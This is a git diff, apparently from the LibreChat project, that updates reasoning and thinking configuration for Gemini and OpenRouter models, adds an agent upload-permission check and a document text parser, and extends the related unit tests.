+          thinking: true,
+          thinkingBudget: 5000,
+          thinkingLevel: ThinkingLevel.high,
+        },
+      });
+
+      expect((result.llmConfig as Record<string, unknown>).thinkingConfig).toMatchObject({
+        thinkingBudget: 5000,
+        includeThoughts: true,
+      });
+      expect((result.llmConfig as Record<string, unknown>).thinkingConfig).not.toHaveProperty(
+        'thinkingLevel',
+      );
+    });
+  });
+
   describe('Web Search Functionality', () => {
     it('should enable web search when web_search is true', () => {
       const credentials = {
diff --git a/packages/api/src/endpoints/google/llm.ts b/packages/api/src/endpoints/google/llm.ts
index 289bc0e952..83951f9e0c 100644
--- a/packages/api/src/endpoints/google/llm.ts
+++ b/packages/api/src/endpoints/google/llm.ts
@@ -150,6 +150,7 @@ export function getGoogleConfig(
 
   const {
     web_search,
+    thinkingLevel,
     thinking = googleSettings.thinking.default,
     thinkingBudget = googleSettings.thinkingBudget.default,
     ...modelOptions
@@ -196,19 +197,48 @@ export function getGoogleConfig(
     );
   }
 
-  const shouldEnableThinking =
-    thinking && thinkingBudget != null && (thinkingBudget > 0 || thinkingBudget === -1);
+  const modelName = (modelOptions?.model ?? '') as string;
 
-  if (shouldEnableThinking && provider === Providers.GOOGLE) {
-    (llmConfig as GoogleClientOptions).thinkingConfig = {
-      thinkingBudget: thinking ? thinkingBudget : googleSettings.thinkingBudget.default,
-      includeThoughts: Boolean(thinking),
+  /**
+   * Gemini 3+ uses a qualitative `thinkingLevel` ('minimal'|'low'|'medium'|'high')
+   * instead of the numeric `thinkingBudget` used by Gemini 2.5 and earlier.
+   * When `thinking` is enabled (default: true), we always send `thinkingConfig`
+   * with `includeThoughts: true`. The `thinkingBudget` param is ignored for Gemini 3+.
+   *
+   * For Vertex AI, top-level `includeThoughts` is still required because
+   * `@langchain/google-common`'s `formatGenerationConfig` reads it separately
+   * from `thinkingConfig` — they serve different purposes in the request pipeline.
+   */
+  const isGemini3Plus = /gemini-([3-9]|\d{2,})/i.test(modelName);
+
+  if (isGemini3Plus && thinking) {
+    const thinkingConfig: { includeThoughts: boolean; thinkingLevel?: string } = {
+      includeThoughts: true,
     };
-  } else if (shouldEnableThinking && provider === Providers.VERTEXAI) {
-    (llmConfig as VertexAIClientOptions).thinkingBudget = thinking
-      ? thinkingBudget
-      : googleSettings.thinkingBudget.default;
-    (llmConfig as VertexAIClientOptions).includeThoughts = Boolean(thinking);
+    if (thinkingLevel) {
+      thinkingConfig.thinkingLevel = thinkingLevel as string;
+    }
+    if (provider === Providers.GOOGLE) {
+      (llmConfig as GoogleClientOptions).thinkingConfig = thinkingConfig;
+    } else if (provider === Providers.VERTEXAI) {
+      (llmConfig as Record<string, unknown>).thinkingConfig = thinkingConfig;
+      (llmConfig as VertexAIClientOptions).includeThoughts = true;
+    }
+  } else if (!isGemini3Plus) {
+    const shouldEnableThinking =
+      thinking && thinkingBudget != null && (thinkingBudget > 0 || thinkingBudget === -1);
+
+    if (shouldEnableThinking && provider === Providers.GOOGLE) {
+      (llmConfig as GoogleClientOptions).thinkingConfig = {
+        thinkingBudget: thinking ? thinkingBudget : googleSettings.thinkingBudget.default,
+        includeThoughts: Boolean(thinking),
+      };
+    } else if (shouldEnableThinking && provider === Providers.VERTEXAI) {
+      (llmConfig as VertexAIClientOptions).thinkingBudget = thinking
+        ? thinkingBudget
+        : googleSettings.thinkingBudget.default;
+      (llmConfig as VertexAIClientOptions).includeThoughts = Boolean(thinking);
+    }
   }
 
   /*
diff --git a/packages/api/src/endpoints/openai/config.backward-compat.spec.ts b/packages/api/src/endpoints/openai/config.backward-compat.spec.ts
index 78b854b4b0..374fe1d188 100644
--- a/packages/api/src/endpoints/openai/config.backward-compat.spec.ts
+++ b/packages/api/src/endpoints/openai/config.backward-compat.spec.ts
@@ -87,6 +87,8 @@ describe('getOpenAIConfig - Backward Compatibility', () => {
           defaultHeaders: {
             'HTTP-Referer': 'https://librechat.ai',
             'X-Title': 'LibreChat',
+            'X-OpenRouter-Title': 'LibreChat',
+            'X-OpenRouter-Categories': 'general-chat,personal-agent',
             'x-librechat-thread-id': '{{LIBRECHAT_BODY_CONVERSATIONID}}',
             'x-test-key': '{{TESTING_USER_VAR}}',
           },
diff --git a/packages/api/src/endpoints/openai/config.spec.ts b/packages/api/src/endpoints/openai/config.spec.ts
index 93864649f9..cdf9d6f14c 100644
--- a/packages/api/src/endpoints/openai/config.spec.ts
+++ b/packages/api/src/endpoints/openai/config.spec.ts
@@ -197,6 +197,8 @@ describe('getOpenAIConfig', () => {
     expect(result.configOptions?.defaultHeaders).toMatchObject({
       'HTTP-Referer': 'https://librechat.ai',
       'X-Title': 'LibreChat',
+      'X-OpenRouter-Title': 'LibreChat',
+      'X-OpenRouter-Categories': 'general-chat,personal-agent',
     });
     expect(result.llmConfig.include_reasoning).toBe(true);
     expect(result.provider).toBe('openrouter');
@@ -861,7 +863,7 @@ describe('getOpenAIConfig', () => {
       expect(result.provider).toBe('openrouter');
     });
 
-    it('should handle OpenRouter with reasoning params', () => {
+    it('should handle OpenRouter with reasoning params (no summary)', () => {
       const modelOptions = {
         reasoning_effort: ReasoningEffort.high,
         reasoning_summary: ReasoningSummary.detailed,
@@ -872,10 +874,10 @@ describe('getOpenAIConfig', () => {
         modelOptions,
       });
 
-      expect(result.llmConfig.reasoning).toEqual({
-        effort: ReasoningEffort.high,
-        summary: ReasoningSummary.detailed,
+      expect(result.llmConfig.modelKwargs).toMatchObject({
+        reasoning: { effort: ReasoningEffort.high },
       });
+      expect(result.llmConfig.include_reasoning).toBeUndefined();
       expect(result.provider).toBe('openrouter');
     });
 
@@ -893,6 +895,8 @@ describe('getOpenAIConfig', () => {
       expect(result.configOptions?.defaultHeaders).toEqual({
         'HTTP-Referer': 'https://librechat.ai',
         'X-Title': 'LibreChat',
+        'X-OpenRouter-Title': 'LibreChat',
+        'X-OpenRouter-Categories': 'general-chat,personal-agent',
         'X-Custom-Header': 'custom-value',
         Authorization: 'Bearer custom-token',
       });
@@ -1205,12 +1209,13 @@ describe('getOpenAIConfig', () => {
         model: 'gpt-4-turbo',
         temperature: 0.8,
         streaming: false,
-        include_reasoning: true, // OpenRouter specific
       });
+      expect(result.llmConfig.include_reasoning).toBeUndefined();
       // Should NOT have useResponsesApi for OpenRouter
       expect(result.llmConfig.useResponsesApi).toBeUndefined();
       expect(result.llmConfig.maxTokens).toBe(2000);
       expect(result.llmConfig.modelKwargs).toEqual({
+        reasoning: { effort: ReasoningEffort.high },
         verbosity: Verbosity.medium,
         customParam: 'custom-value',
         plugins: [{ id: 'web' }], // OpenRouter web search format
@@ -1480,14 +1485,11 @@ describe('getOpenAIConfig', () => {
           user: 'openrouter-user',
           temperature: 0.7,
           maxTokens: 4000,
-          include_reasoning: true, // OpenRouter specific
-          reasoning: {
-            effort: ReasoningEffort.high,
-            summary: ReasoningSummary.detailed,
-          },
           apiKey: apiKey,
         });
+        expect(result.llmConfig.include_reasoning).toBeUndefined();
         expect(result.llmConfig.modelKwargs).toMatchObject({
+          reasoning: { effort: ReasoningEffort.high },
           top_k: 50,
           repetition_penalty: 1.1,
         });
diff --git a/packages/api/src/endpoints/openai/config.ts b/packages/api/src/endpoints/openai/config.ts
index 2540bbb815..5e8d8236ff 100644
--- a/packages/api/src/endpoints/openai/config.ts
+++ b/packages/api/src/endpoints/openai/config.ts
@@ -127,6 +127,8 @@ export function getOpenAIConfig(
       {
         'HTTP-Referer': 'https://librechat.ai',
         'X-Title': 'LibreChat',
+        'X-OpenRouter-Title': 'LibreChat',
+        'X-OpenRouter-Categories': 'general-chat,personal-agent',
       },
       headers,
     );
diff --git a/packages/api/src/endpoints/openai/llm.spec.ts b/packages/api/src/endpoints/openai/llm.spec.ts
index 8e92332e24..a78cc4b87d 100644
--- a/packages/api/src/endpoints/openai/llm.spec.ts
+++ b/packages/api/src/endpoints/openai/llm.spec.ts
@@ -381,6 +381,25 @@ describe('getOpenAILLMConfig', () => {
       expect(result.llmConfig).toHaveProperty('include_reasoning', true);
     });
 
+    it('should combine web search plugins and reasoning object for OpenRouter', () => {
+      const result = getOpenAILLMConfig({
+        apiKey: 'test-api-key',
+        streaming: true,
+        useOpenRouter: true,
+        modelOptions: {
+          model: 'anthropic/claude-3-sonnet',
+          reasoning_effort: ReasoningEffort.high,
+          web_search: true,
+        },
+      });
+
+      expect(result.llmConfig.modelKwargs).toHaveProperty('reasoning', {
+        effort: ReasoningEffort.high,
+      });
+      expect(result.llmConfig).not.toHaveProperty('include_reasoning');
+      expect(result.llmConfig.modelKwargs).toHaveProperty('plugins', [{ id: 'web' }]);
+    });
+
     it('should disable web search via dropParams', () => {
       const result = getOpenAILLMConfig({
         apiKey: 'test-api-key',
@@ -575,7 +594,7 @@ describe('getOpenAILLMConfig', () => {
   });
 
   describe('OpenRouter Configuration', () => {
-    it('should include include_reasoning for OpenRouter', () => {
+    it('should include include_reasoning for OpenRouter when no reasoning_effort set', () => {
       const result = getOpenAILLMConfig({
         apiKey: 'test-api-key',
         streaming: true,
@@ -586,6 +605,75 @@ describe('getOpenAILLMConfig', () => {
       });
 
       expect(result.llmConfig).toHaveProperty('include_reasoning', true);
+      expect(result.llmConfig).not.toHaveProperty('reasoning');
+    });
+
+    it('should use reasoning object for OpenRouter when reasoning_effort is set', () => {
+      const result = getOpenAILLMConfig({
+        apiKey: 'test-api-key',
+        streaming: true,
+        useOpenRouter: true,
+        modelOptions: {
+          model: 'anthropic/claude-3-sonnet',
+          reasoning_effort: ReasoningEffort.high,
+        },
+      });
+
+      expect(result.llmConfig.modelKwargs).toHaveProperty('reasoning', {
+        effort: ReasoningEffort.high,
+      });
+      expect(result.llmConfig).not.toHaveProperty('include_reasoning');
+      expect(result.llmConfig).not.toHaveProperty('reasoning_effort');
+    });
+
+    it('should exclude reasoning_summary from OpenRouter reasoning object', () => {
+      const result = getOpenAILLMConfig({
+        apiKey: 'test-api-key',
+        streaming: true,
+        useOpenRouter: true,
+        modelOptions: {
+          model: 'anthropic/claude-3-sonnet',
+          reasoning_effort: ReasoningEffort.high,
+          reasoning_summary: ReasoningSummary.detailed,
+        },
+      });
+
+      expect(result.llmConfig.modelKwargs).toHaveProperty('reasoning', {
+        effort: ReasoningEffort.high,
+      });
+    });
+
+    it.each([ReasoningEffort.xhigh, ReasoningEffort.minimal, ReasoningEffort.none])(
+      'should support OpenRouter effort level: %s',
+      (effort) => {
+        const result = getOpenAILLMConfig({
+          apiKey: 'test-api-key',
+          streaming: true,
+          useOpenRouter: true,
+          modelOptions: {
+            model: 'openai/o3-mini',
+            reasoning_effort: effort,
+          },
+        });
+
+        expect(result.llmConfig.modelKwargs).toHaveProperty('reasoning', { effort });
+        expect(result.llmConfig).not.toHaveProperty('include_reasoning');
+      },
+    );
+
+    it('should fall back to include_reasoning when reasoning_effort is unset (empty string)', () => {
+      const result = getOpenAILLMConfig({
+        apiKey: 'test-api-key',
+        streaming: true,
+        useOpenRouter: true,
+        modelOptions: {
+          model: 'anthropic/claude-3-sonnet',
+          reasoning_effort: ReasoningEffort.unset,
+        },
+      });
+
+      expect(result.llmConfig).toHaveProperty('include_reasoning', true);
+      expect(result.llmConfig).not.toHaveProperty('reasoning');
     });
   });
 
diff --git a/packages/api/src/endpoints/openai/llm.ts b/packages/api/src/endpoints/openai/llm.ts
index f25971735c..a89f6fce44 100644
--- a/packages/api/src/endpoints/openai/llm.ts
+++ b/packages/api/src/endpoints/openai/llm.ts
@@ -223,10 +223,20 @@ export function getOpenAILLMConfig({
   }
 
   if (useOpenRouter) {
-    llmConfig.include_reasoning = true;
-  }
-
-  if (
+    if (hasReasoningParams({ reasoning_effort })) {
+      /**
+       * OpenRouter uses a `reasoning` object — `summary` is not supported.
+       * ChatOpenRouter treats `reasoning` and `include_reasoning` as mutually exclusive:
+       * `include_reasoning` is legacy compat that maps to `{ enabled: true }` only when
+       * no `reasoning` object is present, so we intentionally omit it here.
+       */
+      modelKwargs.reasoning = { effort: reasoning_effort };
+      hasModelKwargs = true;
+    } else {
+      /** No explicit effort; fall back to legacy `include_reasoning` for reasoning token inclusion */
+      llmConfig.include_reasoning = true;
+    }
+  } else if (
     hasReasoningParams({ reasoning_effort, reasoning_summary }) &&
     (llmConfig.useResponsesApi === true ||
       (endpoint !== EModelEndpoint.openAI && endpoint !== EModelEndpoint.azureOpenAI))
diff --git a/packages/api/src/files/agents/auth.ts b/packages/api/src/files/agents/auth.ts
new file mode 100644
index 0000000000..d9fb2b7423
--- /dev/null
+++ b/packages/api/src/files/agents/auth.ts
@@ -0,0 +1,113 @@
+import type { IUser } from '@librechat/data-schemas';
+import type { Response } from 'express';
+import type { Types } from 'mongoose';
+import { logger } from '@librechat/data-schemas';
+import { SystemRoles, ResourceType, PermissionBits } from 'librechat-data-provider';
+import type { ServerRequest } from '~/types';
+
+export type AgentUploadAuthResult =
+  | { allowed: true }
+  | { allowed: false; status: number; error: string; message: string };
+
+export interface AgentUploadAuthParams {
+  userId: string;
+  userRole: string;
+  agentId?: string;
+  toolResource?: string | null;
+  messageFile?: boolean | string;
+}
+
+export interface AgentUploadAuthDeps {
+  getAgent: (params: { id: string }) => Promise<{
+    _id: string | Types.ObjectId;
+    author?: string | Types.ObjectId | null;
+  } | null>;
+  checkPermission: (params: {
+    userId: string;
+    role: string;
+    resourceType: ResourceType;
+    resourceId: string | Types.ObjectId;
+    requiredPermission: number;
+  }) => Promise<boolean>;
+}
+
+export async function checkAgentUploadAuth(
+  params: AgentUploadAuthParams,
+  deps: AgentUploadAuthDeps,
+): Promise<AgentUploadAuthResult> {
+  const { userId, userRole, agentId, toolResource, messageFile } = params;
+  const { getAgent, checkPermission } = deps;
+
+  const isMessageAttachment = messageFile === true || messageFile === 'true';
+  if (!agentId || toolResource == null || isMessageAttachment) {
+    return { allowed: true };
+  }
+
+  if (userRole === SystemRoles.ADMIN) {
+    return { allowed: true };
+  }
+
+  const agent = await getAgent({ id: agentId });
+  if (!agent) {
+    return { allowed: false, status: 404, error: 'Not Found', message: 'Agent not found' };
+  }
+
+  if (agent.author?.toString() === userId) {
+    return { allowed: true };
+  }
+
+  const hasEditPermission = await checkPermission({
+    userId,
+    role: userRole,
+    resourceType: ResourceType.AGENT,
+    resourceId: agent._id,
+    requiredPermission: PermissionBits.EDIT,
+  });
+
+  if (hasEditPermission) {
+    return { allowed: true };
+  }
+
+  logger.warn(
+    `[agentUploadAuth] User ${userId} denied upload to agent ${agentId} (insufficient permissions)`,
+  );
+  return {
+    allowed: false,
+    status: 403,
+    error: 'Forbidden',
+    message: 'Insufficient permissions to upload files to this agent',
+  };
+}
+
+/** @returns true if denied (response already sent), false if allowed */
+export async function verifyAgentUploadPermission({
+  req,
+  res,
+  metadata,
+  getAgent,
+  checkPermission,
+}: {
+  req: ServerRequest;
+  res: Response;
+  metadata: { agent_id?: string; tool_resource?: string | null; message_file?: boolean | string };
+  getAgent: AgentUploadAuthDeps['getAgent'];
+  checkPermission: AgentUploadAuthDeps['checkPermission'];
+}): Promise<boolean> {
+  const user = req.user as IUser;
+  const result = await checkAgentUploadAuth(
+    {
+      userId: user.id,
+      userRole: user.role ?? '',
+      agentId: metadata.agent_id,
+      toolResource: metadata.tool_resource,
+      messageFile: metadata.message_file,
+    },
+    { getAgent, checkPermission },
+  );
+
+  if (!result.allowed) {
+    res.status(result.status).json({ error: result.error, message: result.message });
+    return true;
+  }
+  return false;
+}
diff --git a/packages/api/src/files/agents/index.ts b/packages/api/src/files/agents/index.ts
new file mode 100644
index 0000000000..269586ee8b
--- /dev/null
+++ b/packages/api/src/files/agents/index.ts
@@ -0,0 +1 @@
+export * from './auth';
diff --git a/packages/api/src/files/documents/crud.spec.ts b/packages/api/src/files/documents/crud.spec.ts
new file mode 100644
index 0000000000..f22693718a
--- /dev/null
+++ b/packages/api/src/files/documents/crud.spec.ts
@@ -0,0 +1,148 @@
+import path from 'path';
+import { parseDocument } from './crud';
+
+describe('Document Parser', () => {
+  test('parseDocument() parses text from docx', async () => {
+    const file = {
+      originalname: 'sample.docx',
+      path: path.join(__dirname, 'sample.docx'),
+      mimetype: 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+    } as Express.Multer.File;
+
+    const document = await parseDocument({ file });
+
+    expect(document).toEqual({
+      bytes: 29,
+      filename: 'sample.docx',
+      filepath: 'document_parser',
+      images: [],
+      text: 'This is a sample DOCX file.\n\n',
+    });
+  });
+
+  test('parseDocument() parses text from xlsx', async () => {
+    const file = {
+      originalname: 'sample.xlsx',
+      path: path.join(__dirname, 'sample.xlsx'),
+      mimetype: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+    } as Express.Multer.File;
+
+    const document = await parseDocument({ file });
+
+    expect(document).toEqual({
+      bytes: 66,
+      filename: 'sample.xlsx',
+      filepath: 'document_parser',
+      images: [],
+      text: 'Sheet One:\nData,on,first,sheet\nSecond Sheet:\nData,On\nSecond,Sheet\n',
+    });
+  });
+
+  test('parseDocument() parses text from xls', async () => {
+    const file = {
+      originalname: 'sample.xls',
+      path: path.join(__dirname, 'sample.xls'),
+      mimetype: 'application/vnd.ms-excel',
+    } as Express.Multer.File;
+
+    const document = await parseDocument({ file });
+
+    expect(document).toEqual({
+      bytes: 31,
+      filename: 'sample.xls',
+      filepath: 'document_parser',
+      images: [],
+      text: 'Sheet One:\nData,on,first,sheet\n',
+    });
+  });
+
+  test('parseDocument() parses text from ods', async () => {
+    const file = {
+      originalname: 'sample.ods',
+      path: path.join(__dirname, 'sample.ods'),
+      mimetype: 'application/vnd.oasis.opendocument.spreadsheet',
+    } as Express.Multer.File;
+
+    const document = await parseDocument({ file });
+
+    expect(document).toEqual({
+      bytes: 66,
+      filename: 'sample.ods',
+      filepath: 'document_parser',
+      images: [],
+      text: 'Sheet One:\nData,on,first,sheet\nSecond Sheet:\nData,On\nSecond,Sheet\n',
+    });
+  });
+
+  test.each([
+    'application/msexcel',
+    'application/x-msexcel',
+    'application/x-ms-excel',
+    'application/x-excel',
+    'application/x-dos_ms_excel',
+    'application/xls',
+    'application/x-xls',
+  ])('parseDocument() parses xls with variant MIME type: %s', async (mimetype) => {
+    const file = {
+      originalname: 'sample.xls',
+      path: path.join(__dirname, 'sample.xls'),
+      mimetype,
+    } as Express.Multer.File;
+
+    const document = await parseDocument({ file });
+
+    expect(document).toEqual({
+      bytes: 31,
+      filename: 'sample.xls',
+      filepath: 'document_parser',
+      images: [],
+      text: 'Sheet One:\nData,on,first,sheet\n',
+    });
+  });
+
+  test('parseDocument() throws error for unhandled document type', async () => {
+    const file = {
+      originalname: 'nonexistent.file',
+      path: path.join(__dirname, 'nonexistent.file'),
+      mimetype: 'application/invalid',
+    } as Express.Multer.File;
+
+    await expect(parseDocument({ file })).rejects.toThrow(
+      'Unsupported file type in document parser: application/invalid',
+    );
+  });
+
+  test('parseDocument() throws error for empty document', async () => {
+    const file = {
+      originalname: 'empty.docx',
+      path: path.join(__dirname, 'empty.docx'),
+      mimetype: 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+    } as Express.Multer.File;
+
+    await expect(parseDocument({ file })).rejects.toThrow('No text found in document');
+  });
+
+  test('parseDocument() parses empty xlsx with only sheet name', async () => {
+    const file = {
+      originalname: 'empty.xlsx',
+      path: path.join(__dirname, 'empty.xlsx'),
+      mimetype: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+    } as Express.Multer.File;
+
+    const document = await parseDocument({ file });
+
+    expect(document).toEqual({
+      bytes: 8,
+      filename: 'empty.xlsx',
+      filepath: 'document_parser',
+      images: [],
+      text: 'Empty:\n\n',
+    });
+  });
+
+  test('xlsx exports read and utils as named imports', async () => {
+    const { read, utils } = await import('xlsx');
+    expect(typeof read).toBe('function');
+    expect(typeof utils?.sheet_to_csv).toBe('function');
+  });
+});
diff --git a/packages/api/src/files/documents/crud.ts b/packages/api/src/files/documents/crud.ts
new file mode 100644
index 0000000000..ab16534b45
--- /dev/null
+++ b/packages/api/src/files/documents/crud.ts
@@ -0,0 +1,91 @@
+import * as fs from 'fs';
+import { excelMimeTypes, FileSources } from 'librechat-data-provider';
+import type { TextItem } from 'pdfjs-dist/types/src/display/api';
+import type { MistralOCRUploadResult } from '~/types';
+
+/**
+ * Parses an uploaded document and extracts its text content and metadata.
+ * Handled types must stay in sync with `documentParserMimeTypes` from data-provider.
+ *
+ * @throws {Error} if `file.mimetype` is not handled or no text is found.
+ */
+export async function parseDocument({
+  file,
+}: {
+  file: Express.Multer.File;
+}): Promise<MistralOCRUploadResult> {
+  let text: string;
+  if (file.mimetype === 'application/pdf') {
+    text = await pdfToText(file);
+  } else if (
+    file.mimetype === 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'
+  ) {
+    text = await wordDocToText(file);
+  } else if (
+    excelMimeTypes.test(file.mimetype) ||
+    file.mimetype === 'application/vnd.oasis.opendocument.spreadsheet'
+  ) {
+    text = await excelSheetToText(file);
+  } else {
+    throw new Error(`Unsupported file type in document parser: ${file.mimetype}`);
+  }
+
+  if (!text?.trim()) {
+    throw new Error('No text found in document');
+  }
+
+  return {
+    filename: file.originalname,
+    bytes: Buffer.byteLength(text, 'utf8'),
+    filepath: FileSources.document_parser,
+    text,
+    images: [],
+  };
+}
+
+/** Parses PDF, returns text inside. */
+async function pdfToText(file: Express.Multer.File): Promise<string> {
+  // Imported inline so that Jest can test other routes without failing due to loading ESM
+  const { getDocument } = await import('pdfjs-dist/legacy/build/pdf.mjs');
+
+  const data = new Uint8Array(await fs.promises.readFile(file.path));
+  const pdf = await getDocument({ data }).promise;
+
+  let fullText = '';
+  for (let i = 1; i <= pdf.numPages; i++) {
+    const page = await pdf.getPage(i);
+    const textContent = await page.getTextContent();
+    const pageText = textContent.items
+      .filter((item): item is TextItem => !('type' in item))
+      .map((item) => item.str)
+      .join(' ');
+    fullText += pageText + '\n';
+  }
+
+  return fullText;
+}
+
+/** Parses Word document, returns text inside. */
+async function wordDocToText(file: Express.Multer.File): Promise<string> {
+  const { extractRawText } = await import('mammoth');
+  const rawText = await extractRawText({ buffer: await fs.promises.readFile(file.path) });
+  return rawText.value;
+}
+
+/** Parses Excel sheet, returns text inside. */
+async function excelSheetToText(file: Express.Multer.File): Promise<string> {
+  // xlsx CDN build (0.20.x) does not bind fs internally when dynamically imported;
+  // readFile() fails with "Cannot access file". read() takes a pre-loaded Buffer instead.
+  const { read, utils } = await import('xlsx');
+  const data = await fs.promises.readFile(file.path);
+  const workbook = read(data, { type: 'buffer' });
+
+  let text = '';
+  for (const sheetName of workbook.SheetNames) {
+    const worksheet = workbook.Sheets[sheetName];
+    const worksheetAsCsvString = utils.sheet_to_csv(worksheet);
+    text += `${sheetName}:\n${worksheetAsCsvString}\n`;
+  }
+
+  return text;
+}
diff --git a/packages/api/src/files/documents/empty.docx b/packages/api/src/files/documents/empty.docx
new file mode 100644
index 0000000000..c089246167
Binary files /dev/null and b/packages/api/src/files/documents/empty.docx differ
diff --git a/packages/api/src/files/documents/empty.xlsx b/packages/api/src/files/documents/empty.xlsx
new file mode 100644
index 0000000000..6e54514f24
Binary files /dev/null and b/packages/api/src/files/documents/empty.xlsx differ
diff --git a/packages/api/src/files/documents/sample.docx b/packages/api/src/files/documents/sample.docx
new file mode 100644
index 0000000000..c7e1c02b65
Binary files /dev/null and b/packages/api/src/files/documents/sample.docx differ
diff --git a/packages/api/src/files/documents/sample.ods b/packages/api/src/files/documents/sample.ods
new file mode 100644
index 0000000000..81e333dc2e
Binary files /dev/null and b/packages/api/src/files/documents/sample.ods differ
diff --git a/packages/api/src/files/documents/sample.xls b/packages/api/src/files/documents/sample.xls
new file mode 100644
index 0000000000..d5976b0816
Binary files /dev/null and b/packages/api/src/files/documents/sample.xls differ
diff --git a/packages/api/src/files/documents/sample.xlsx b/packages/api/src/files/documents/sample.xlsx
new file mode 100644
index 0000000000..2abb6961d1
Binary files /dev/null and b/packages/api/src/files/documents/sample.xlsx differ
diff --git a/packages/api/src/files/encode/document.spec.ts b/packages/api/src/files/encode/document.spec.ts
index 9091cedd9e..a93800b5e1 100644
--- a/packages/api/src/files/encode/document.spec.ts
+++ b/packages/api/src/files/encode/document.spec.ts
@@ -7,6 +7,7 @@ import { encodeAndFormatDocuments } from './document';
 /** Mock the validation module */
 jest.mock('~/files/validation', () => ({
   validatePdf: jest.fn(),
+  validateBedrockDocument: jest.fn(),
 }));
 
 /** Mock the utils module */
@@ -15,11 +16,14 @@ jest.mock('./utils', () => ({
   getConfiguredFileSizeLimit: jest.fn(),
 }));
 
-import { validatePdf } from '~/files/validation';
+import { validatePdf, validateBedrockDocument } from '~/files/validation';
 import { getFileStream, getConfiguredFileSizeLimit } from './utils';
 import { Types } from 'mongoose';
 
 const mockedValidatePdf = validatePdf as jest.MockedFunction<typeof validatePdf>;
+const mockedValidateBedrockDocument = validateBedrockDocument as jest.MockedFunction<
+  typeof validateBedrockDocument
+>;
 const mockedGetFileStream = getFileStream as jest.MockedFunction<typeof getFileStream>;
 const mockedGetConfiguredFileSizeLimit = getConfiguredFileSizeLimit as jest.MockedFunction<
   typeof getConfiguredFileSizeLimit
@@ -84,6 +88,26 @@ describe('encodeAndFormatDocuments - fileConfig integration', () => {
       updatedAt: new Date(),
     }) as unknown as IMongoFile;
 
+  const createMockDocFile = (
+    sizeInMB: number,
+    mimeType: string,
+    filename: string,
+  ): IMongoFile =>
+    ({
+      _id: new Types.ObjectId(),
+      user: new Types.ObjectId(),
+      file_id: new Types.ObjectId().toString(),
+      filename,
+      type: mimeType,
+      bytes: Math.floor(sizeInMB * 1024 * 1024),
+      object: 'file',
+      usage: 0,
+      source: 'test',
+      filepath: `/test/path/${filename}`,
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    }) as unknown as IMongoFile;
+
   describe('Configuration extraction and validation', () => {
     it('should pass configured file size limit to validatePdf for OpenAI', async () => {
       const configuredLimit = mbToBytes(15);
@@ -500,6 +524,165 @@ describe('encodeAndFormatDocuments - fileConfig integration', () => {
       });
     });
 
+    it('should format Bedrock document with valid PDF', async () => {
+      const req = createMockRequest() as ServerRequest;
+      const file = createMockFile(3);
+
+      const mockContent = Buffer.from('test-pdf-content').toString('base64');
+      mockedGetFileStream.mockResolvedValue({
+        file,
+        content: mockContent,
+        metadata: file,
+      });
+
+      mockedValidateBedrockDocument.mockResolvedValue({ isValid: true });
+
+      const result = await encodeAndFormatDocuments(
+        req,
+        [file],
+        { provider: Providers.BEDROCK },
+        mockStrategyFunctions,
+      );
+
+      expect(result.documents).toHaveLength(1);
+      expect(result.documents[0]).toMatchObject({
+        type: 'document',
+        document: {
+          name: 'test_pdf',
+          format: 'pdf',
+          source: {
+            bytes: expect.any(Buffer),
+          },
+        },
+      });
+    });
+
+    it('should format Bedrock CSV document', async () => {
+      const req = createMockRequest() as ServerRequest;
+      const file = createMockDocFile(1, 'text/csv', 'data.csv');
+
+      const mockContent = Buffer.from('col1,col2\nval1,val2').toString('base64');
+      mockedGetFileStream.mockResolvedValue({
+        file,
+        content: mockContent,
+        metadata: file,
+      });
+
+      mockedValidateBedrockDocument.mockResolvedValue({ isValid: true });
+
+      const result = await encodeAndFormatDocuments(
+        req,
+        [file],
+        { provider: Providers.BEDROCK },
+        mockStrategyFunctions,
+      );
+
+      expect(result.documents).toHaveLength(1);
+      expect(result.documents[0]).toMatchObject({
+        type: 'document',
+        document: {
+          name: 'data_csv',
+          format: 'csv',
+          source: {
+            bytes: expect.any(Buffer),
+          },
+        },
+      });
+    });
+
+    it('should format Bedrock DOCX document', async () => {
+      const req = createMockRequest() as ServerRequest;
+      const mimeType = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
+      const file = createMockDocFile(2, mimeType, 'report.docx');
+
+      const mockContent = Buffer.from('docx-binary-content').toString('base64');
+      mockedGetFileStream.mockResolvedValue({
+        file,
+        content: mockContent,
+        metadata: file,
+      });
+
+      mockedValidateBedrockDocument.mockResolvedValue({ isValid: true });
+
+      const result = await encodeAndFormatDocuments(
+        req,
+        [file],
+        { provider: Providers.BEDROCK },
+        mockStrategyFunctions,
+      );
+
+      expect(result.documents).toHaveLength(1);
+      expect(result.documents[0]).toMatchObject({
+        type: 'document',
+        document: {
+          name: 'report_docx',
+          format: 'docx',
+          source: {
+            bytes: expect.any(Buffer),
+          },
+        },
+      });
+    });
+
+    it('should format Bedrock plain text document', async () => {
+      const req = createMockRequest() as ServerRequest;
+      const file = createMockDocFile(0.5, 'text/plain', 'notes.txt');
+
+      const mockContent = Buffer.from('plain text content').toString('base64');
+      mockedGetFileStream.mockResolvedValue({
+        file,
+        content: mockContent,
+        metadata: file,
+      });
+
+      mockedValidateBedrockDocument.mockResolvedValue({ isValid: true });
+
+      const result = await encodeAndFormatDocuments(
+        req,
+        [file],
+        { provider: Providers.BEDROCK },
+        mockStrategyFunctions,
+      );
+
+      expect(result.documents).toHaveLength(1);
+      expect(result.documents[0]).toMatchObject({
+        type: 'document',
+        document: {
+          name: 'notes_txt',
+          format: 'txt',
+          source: {
+            bytes: expect.any(Buffer),
+          },
+        },
+      });
+    });
+
+    it('should reject Bedrock document when validation fails', async () => {
+      const req = createMockRequest() as ServerRequest;
+      const file = createMockDocFile(5, 'text/csv', 'big.csv');
+
+      const mockContent = Buffer.from('large-csv-content').toString('base64');
+      mockedGetFileStream.mockResolvedValue({
+        file,
+        content: mockContent,
+        metadata: file,
+      });
+
+      mockedValidateBedrockDocument.mockResolvedValue({
+        isValid: false,
+        error: 'File size (5.0MB) exceeds the 4.5MB limit for Bedrock',
+      });
+
+      await expect(
+        encodeAndFormatDocuments(
+          req,
+          [file],
+          { provider: Providers.BEDROCK },
+          mockStrategyFunctions,
+        ),
+      ).rejects.toThrow('Document validation failed');
+    });
+
     it('should format OpenAI document with responses API', async () => {
